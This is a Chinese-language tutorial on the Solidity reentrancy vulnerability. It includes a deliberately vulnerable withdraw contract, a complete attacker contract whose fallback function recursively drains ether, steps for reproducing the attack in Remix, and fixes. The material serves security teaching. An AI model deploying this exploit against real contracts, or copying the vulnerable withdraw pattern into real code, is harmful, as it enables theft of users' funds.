Reentrancy

01.Reentrancy - 重入

漏洞等级

高危

漏洞成因

重入攻击, 也可以说是递归调用漏洞。漏洞合约漏洞函数恶意合约发起调用后,恶意合约再次发次对漏洞合约漏洞函数的调用,如果恶意合约被允许调用漏洞函数且调用成功也就发生了重入
通常漏洞由合约发起<Address>.call.value()()发送ether到外部合约,从而触发外部合约回退函数 - fallback()导致的。

合约接收ether的时候会触发fallback()

合约被调用函数不存在,也会fallback()

漏洞危害

由于漏洞函数执行过程调用不可信合约或者使用具有外部地址低级函数,漏洞合约合约状态被改变,漏洞函数运行结果也将不可信。以The DAO事件为例,攻击者的恶意的递归调用使The DAO损失了350万ETH,也导致了以太坊的分叉。

漏洞测试方法

测试环境

推荐并尽量使用 Remix - Solidity IDE 进行复现
(部分漏洞使用truffle本地搭建环境进行补充复现)

Remix - Solidity IDE

编译合约

将以下两个合约直接复制粘贴到 Remix 的代码框中

被攻击合约:

Reentrance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.4.15;

contract Reentrance {
mapping (address => uint) userBalance;

// 返回地址u的余额
function getBalance(address u) constant returns(uint){
return userBalance[u];
}

// 对合约充值ether
function addToBalance() payable{
userBalance[msg.sender] += msg.value;
}

// 从合约取款
function withdrawBalance(){
// 发送 userBalance[msg.sender] ethers 到 msg.sender
// 如果 mgs.sender 是一个合约, 这将会触发 msg.sender 地址上的合约的回退函数 fallback()
if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
throw;
}
// 取款完成后将 userBalance[msg.sender] 归零
userBalance[msg.sender] = 0;
}

}

攻击者合约:

ReentranceExploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
contract ReentranceExploit {
// 被攻击合约的地址
address public vulnerable_contract;
// 当前合约的拥有者
address public owner;

function ReentranceExploit() public{
// 合约拥有者为合约创建者
owner = msg.sender;
}

function deposit(address _vulnerable_contract) public payable{
vulnerable_contract = _vulnerable_contract ;
// 发送 msg.value ethers 到 vulnerable_contract.addToBalance()
// 使当前攻击者合约在被攻击合约中有余额 即 vulnerable_contract.userBalance[msg.sender] > 0
// vulnerable_contract.userBalance[msg.sender] 就是攻击者每次递归调用偷取的ether(wei)量
require(vulnerable_contract.call.value(msg.value)(bytes4(sha3("addToBalance()"))));
}

function launch_attack() public{
// 调用 vulnerable_contract.withdrawBalance
// vulnerable_contract.withdrawBalance 将会触发 ReentranceExploit.fallback()
require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()"))));
}


function () public payable{
// 当本合约发起攻击后,vulnerable_contract 会发送ether到本合约从而触发本合约回退函数fallback()
// 本合约fallback() 中会再次调用 vulnerable_contract.withdrawBalance() 进行取现
// 由于 vulnerable_contract 先进行发送ether后修改userBalance[msg.sender
// 此时 vulnerable_contract.userBalance[msg.sender] 会一直不变
// 从而每次调用会从vulnerable_contract合约中取出userBalance[msg.sender] (wei) ether
// 直到将vulnerable_contract 的 ether 取空(剩余量小于vulnerable_contract.userBalance[msg.sender] (wei))
vulnerable_contract.call(bytes4(sha3("withdrawBalance()")));
}

function get_money(){
// 执行 suicide 自毁函数,将当前攻击者合约销毁
// 并且将攻击者合约中的ether全部发送到owner账户中
suicide(owner);
}

}

切换到 run 面板

  1. 点击 deploy 按钮部署 Reentrance 合约

  1. 修改Value为 50 ,单位为 ether
    点击 addToBalanceReentrance 合约进行充值ether,

  1. 切换到Account 2:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c,选择ReentranceExploit,点击 Deploy

  1. 修改Value10 ether,然后复制 Reentrance 合约地址,粘贴到 ReentranceExploitdeposit参数框中,
    点击deposit按钮进行充值ether到Reentrance合约

  1. 点击 launch_attack 按钮进行攻击

  2. 点击 get_money 按钮进行销毁攻击者合约,并且返回ether到owner账户,
    可以看到Account 2增加了50 ether

修复建议

  1. 最好避免使用<Address>.call.value()()这种形式发送ether,建议使用更安全的<Address>.transfer()

推荐使用<Address>.transfer()而不是<Address>.send(),<Address>.send()在发送是失败的时候只会返回false,
<Address>.transfer()则会抛出异常,引发evm操作回滚,更为安全。

示例代码:

1
2
3
4
5
6
7
8
function withdrawBalance(){
// send() 和 transfer() 都可以防止重入
// 他们在调用时不会发送所有的gas,(仅发送2300gas)
// 这样调用函数部分只能执行很少的操作
// 从而使fallback()函数中递归调用不能执行
msg.sender.transfer(userBalance[msg.sender]);
userBalance[msg.sender] = 0;
}
  1. 可以采取先扣除余额再发送ether的形式(不是非常建议,除非合约必须使用<Address>.call.value()()这种形式,否则都采取上面的建议)

示例代码:

1
2
3
4
5
6
7
function withdrawBalance(){
uint amount = userBalance[msg.sender];
userBalance[msg.sender] = 0;
if( ! (msg.sender.call.value(amount)() ) ){
throw;
}
}

参考:

DASP - TOP 10

github:not-so-smart-contracts/reentrancy

以太坊智能合约安全入门了解一下(上)

Contact me: **root@blockchain-security.info**